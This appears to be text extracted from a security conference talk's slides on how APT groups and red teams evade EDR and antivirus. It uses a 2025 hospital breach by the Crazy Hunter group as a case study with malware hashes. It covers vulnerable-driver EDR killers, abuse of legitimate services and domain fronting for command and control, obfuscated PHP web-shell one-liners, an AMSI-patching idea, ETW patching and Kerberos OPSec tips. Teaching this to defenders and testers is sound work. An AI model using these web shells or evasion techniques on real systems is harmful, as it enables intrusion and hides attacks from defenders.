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• Achievements: 20+ CVEs
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− Bsides Tokyo 2023, HITCON Bounty House 2022, CYBERSEC 2024 ……
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Introduction
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EDR / AV 會抓惡意指令
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駭客可以混淆指令
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EDR / AV 會偵測駭客把 EDR/AV 關掉
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但駭客把 t 改成 T 就不會被抓了
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但駭客把 t 改成 T 就不會被抓了
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EDR 會基於檔案來抓病毒
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駭客直接使用無檔案 (File-Less) 病毒
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面對駭客

接受駭客

處理駭客

成為駭客

聖嚴法師 – 沒有說過
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How Do APTs Hide Their Operations?
• In fact, APTs use the same techniques as Red Teamers
• APTs are just groups of hackers who are richer than Red Teamers. 😛
• How can we learn from APT groups?

For Red Team

Learn the TTP that APTs use.

For Blue Team

Try to enhance the detections.
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Case Study
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Crazy Hunter 
• APT group Crazy Hunter compromised 2 Hospital in 2025/2,3

− 馬偕醫院、彰化基督教醫院

• They breached 16.6 million confidential records.
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Let's Dive Deeper into the IoCs

Malware SHA256

appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb

result.exe a6293cfe4193ccd4cd4717fbe14cd8c0fdf321328683f35e8a4c68bfc1d5b741

za.sys c38a7b26aa4fb1852ba472799bf8a98cf29f9cfc237197af8dade653ad434cf5

zaa.exe 37a7cdf5961ebb65ed3b90a1d2cb6549e463f8ccd6df005ce98542da1905ca3b

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31

mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afb1a4bc5409b5bd76bb7b

beacon_x64.exe fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02a1

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d918eb0c3b710343b9ac407d

hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b

go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd

stop.exe 2ab1bef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

• What can we understand from this table?
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Let's Dive Deeper into the IoCs

Malware SHA256

appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb

result.exe a6293cfe4193ccd4cd4717fbe14cd8c0fdf321328683f35e8a4c68bfc1d5b741

za.sys c38a7b26aa4fb1852ba472799bf8a98cf29f9cfc237197af8dade653ad434cf5

zaa.exe 37a7cdf5961ebb65ed3b90a1d2cb6549e463f8ccd6df005ce98542da1905ca3b

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31

mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afb1a4bc5409b5bd76bb7b

beacon_x64.exe fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02a1

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d918eb0c3b710343b9ac407d

hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b

go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd

stop.exe 2ab1bef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

• beacon_x64.exe: The default beacon name used by Cobalt Strike.
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Let's Dive Deeper into the IoCs

Malware SHA256
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zaa.exe 37a7cdf5961ebb65ed3b90a1d2cb6549e463f8ccd6df005ce98542da1905ca3b

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31

mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afb1a4bc5409b5bd76bb7b

beacon_x64.exe fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02a1

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d918eb0c3b710343b9ac407d

hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b
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• Za.sys file: A kernel driver (sys file).
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What is the Za.sys file
• Zam64.sys is a Vulnerable Driver

− From Zemana Ltd.
− A malware remove tools

• This driver can terminate EDR systems.
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Let's Dive Deeper into the IoCs

Malware SHA256

appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb

result.exe a6293cfe4193ccd4cd4717fbe14cd8c0fdf321328683f35e8a4c68bfc1d5b741

za.sys c38a7b26aa4fb1852ba472799bf8a98cf29f9cfc237197af8dade653ad434cf5

zaa.exe 37a7cdf5961ebb65ed3b90a1d2cb6549e463f8ccd6df005ce98542da1905ca3b

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31

mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afb1a4bc5409b5bd76bb7b

beacon_x64.exe fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02a1

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d918eb0c3b710343b9ac407d
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stop.exe 2ab1bef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

• appitob.exe: The main C&C (Command and Control) payload.
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Let's dive deeper to the IoC
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The DEV tunnels
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The DEV tunnels

A DEV tunnel is used to 

create a secure connection 

that allows developers to 

test their APIs from Visual 

Studio or VSCode when 

behind a NAT or firewall.
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The DEV tunnels

Once the DEV tunnel is 

created, users can access 

the API through the 

devtunnel URL.
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The DEV tunnels
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Let's dive deeper to the IoC

Malware SHA256

appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb

result.exe a6293cfe4193ccd4cd4717fbe14cd8c0fdf321328683f35e8a4c68bfc1d5b741

za.sys c38a7b26aa4fb1852ba472799bf8a98cf29f9cfc237197af8dade653ad434cf5

zaa.exe 37a7cdf5961ebb65ed3b90a1d2cb6549e463f8ccd6df005ce98542da1905ca3b

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31

mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afb1a4bc5409b5bd76bb7b

beacon_x64.exe fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02a1

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d918eb0c3b710343b9ac407d

hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b

go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd

stop.exe 2ab1bef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

• Svc.exe: C&C Payload
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SharePoint
• Why are there so many SharePoint URLs in the payload?
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SharePoint
Did the hacker use the victim's computer to access SharePoint?
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Graph Strike

https://redsiege.com/blog/2024/01/graphstrike-developer/ 

https://redsiege.com/blog/2024/01/graphstrike-developer/
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Graph Strike
SharePoint

Task Node Beacon Output

Hacker 
(CS Server)

Victim
(Beacon)

Upload
Download

Download

Upload



33 | ©2025 Trend Micro Inc.

Recap

• After gaining initial access

• The Crazy Hunter Group  

− Uses Zam64.sys driver to disable the EDR

− Applied MS Dev Tunnel and MS Graph API to establish the C2 Connection

• How can we learn from this case?
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EDR Killer - BYOVD Attack
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About Kernel Driver
• Is Kernel Driver / Kernel Mode Hooking Necessary?

− What risks might there be if a cybersecurity vendor claims that not using 
Kernel Mode？

Least privileged

Most privileged
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BYOVD
• BYOVD (Bring your own vulnerable driver)

− An attacker brings a vulnerable driver into the victim's system.
− To gain kernel privileges and disable or impair the EDR.

• History
− 2022.11: Lockbit (Backstab)
− 2023.01: Scattered Spider - (QVW64)
− 2023.03: UNC2970 – (ENE)
− 2023.04: Aukill – (PROCEXP)
− 2023.05: Winnit – (ZAM64)
− 2023.06: Black Cat - (ZAM64)
− 2025.02: Crazy Hunter – (ZAM64)
− ……
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LoL Drivers
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LoL Drivers
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Weaponize Project

https://github.com/ZeroMemoryEx/Terminator 

https://github.com/ZeroMemoryEx/Terminator
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EDR's dilemma

• EDRs and AV systems often trust digital certificates implicitly

• Negative impact

− Blocking kernel drivers can cause BSOD (Blue Screen of Death) or system instability.

• Stability Concerns

− Incorrectly blocking items can damage the reputation of the security solution.

To block or not to block, 

that is a question
– Steven Meow 🐱
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C2 Network Hiding – LoL C2
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What C2 hacker uses

• Objective for hacker / Red Teamer

− The C2 can quickly rotate and cannot be blocked.

• Types of C2 Server

− Tunnel-Based

− Cloud-Based

• Includes VPS, CDN, SaaS Proxy, etc.

− Legitimate Software

• Examples include MS Graph API, Google Calendar, GitHub, etc.
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Tunnel-Based C2

• Cloudflare Tunnel

• Ngrok

• Pinggy

• …….
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Cloud Based C2

• AWS EC2

• AWS Lambda

• AWS API Gateway

• CDN / Domain Fronting

− Encrypted Client Hello (ECH)

Redirector 1 Redirector 2

Main C2 Server
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Legitimate Software as C2

• Everything can be a C2

− Applications can read, write, upload, and download data.

• SNS Program

− Examples include Slack, Teams, Discord, LINE, Twitter, Instagram, etc.

• Content Management Service 

− Examples include GitHub, Jira, OneDrive, Google Drive, Dropbox, etc.
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LoL C2
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Teams as a C2
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Even Counter Strike 1.6 can be a C2
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How to detect HTTPS Host 

• SNI (Server Name Indication) from Client Hello
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How CDN Work

CDN
104.21.48.205

aaa.com

bbb.com

evil.com

User
Connect to 

aaa.com (104.21.48.205)

GET / HTTP/1.1
Host: aaa.com
User-Agent: curl/7.86.0

Encrypted

Plain Text (SNI)
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Domain Fronting

CDN
104.21.48.205

aaa.com

bbb.com

evil.com

User
Connect to 

aaa.com (104.21.48.205)

GET / HTTP/1.1
Host: evil.com
User-Agent: curl/7.86.0

Encrypted

Plain Text (SNI)

Blue Team can only see SNI, and it's point to aaa.com

HOST != SNI
Domain Fronting
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ECH
Encrypt Client Hello
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Static / Dynamic Bypass
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Static Obfuscate
<?php system($_GET["cmd"]); ?>
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Static Obfuscate - Alternative
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Static Obfuscate - Alternative

<?PHp passthru($_GET[1]); ?>
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Static Obfuscate - Alternative
<?pHp $a='pass'; ($a.'thru')($_GET[9487]); ?>



58 | ©2025 Trend Micro Inc.

Dynamic Analysis
• Command Line
− The program entered a malicious command.

− It can be scanned through Microsoft's AMSI interface.

• Behavior
− The program did something unusual that it shouldn't have done.

− This may involve various characteristics such as API Hooking, 
network traffic, events, etc.
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Dynamic Analysis
• Command Line
− The program entered a malicious command.

− It can be scanned through Microsoft's AMSI interface.

• Behavior
− The program did something unusual that it shouldn't have done.

− This may involve various characteristics such as API Hooking, 
network traffic, events, etc.
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AMSI – Antimalware Scan Interface
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AMSI Bypass

check RCX is 0

If ZF=0, Do AMSI

IF ZF!=0, No AMSI

• AMSI Bypass Idea

− 1. Find a way to set RCX to 0 so it won't scan.

− 2. Find a way to change the instruction test rcx, rcx to one that sets the Zero Flag to 0
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AMSI Bypass
• Find a way to change the instruction test rcx, rcx to one that sets the Zero Flag to 0

− XOR RAX, RAX is 48 31 c0
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Dynamic Analysis
• Command Line
− The program entered a malicious command.

− It can be scanned through Microsoft's AMSI interface.

• Behavior
− The program did something unusual that it shouldn't have done.

− This may involve various characteristics such as API Hooking, 
network traffic, events, etc.



64 | ©2025 Trend Micro Inc.

ETW (Event Tracing for Windows)
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ETW (Event Tracing for Windows)

• ETW uses EtwEventWrite function located in ntdll.dll
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ETW (Event Tracing for Windows)

• Rewrite the related function so that it returns immediately upon entry.
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Kernel API Hooking

Src: https://killer.wtf/2022/01/19/CustomJmpUnhook.html 

• EDRs also use Kernel API Hooking methods to modify the DLL Return Address to 

their own check function.

https://killer.wtf/2022/01/19/CustomJmpUnhook.html
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UnHook
• Bypass can be achieved through direct system calls or by manually 

specifying a custom jump.

Src: https://killer.wtf/2022/01/19/CustomJmpUnhook.html 

https://killer.wtf/2022/01/19/CustomJmpUnhook.html
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Memory Scan

• AV / EDR will invoke memory scan at any time

− It will scan suspicious process

− When process just started

− Just random with no reason
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Lazy Loading

• When a malware just started, don't do bad things immediately

− 我知道你很急，但你先別急
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Sleep Mask

• After doing the bad things, encrypt the payload itself
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Process Injection 
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Kerberos OPSec

• Don't use RC4 (NTLM) for ticket

− Uses AES256 !!

• Don't use Golden ticket

− Uses Diamond / Sapphire ticket !!

• Don't use default ticket life time / renew time 

− Default Rubeus ticket lifetime is 10 years
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Conclusion
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Conclusion
• For Red Team 

− Try to abuse legitimate software to establish a C2 connection.
− If evading the EDR is not possible, attempt to disable it.

• For Blue Team
− Consider strategies to prevent EDR disabling techniques (e.g., LoLDriver, 

exploiting unload functions)
− Be aware that blocking at the network layer may fail in the future.

• For Both
− Stay vigilant and continuously learn about new tactics employed by APT groups.
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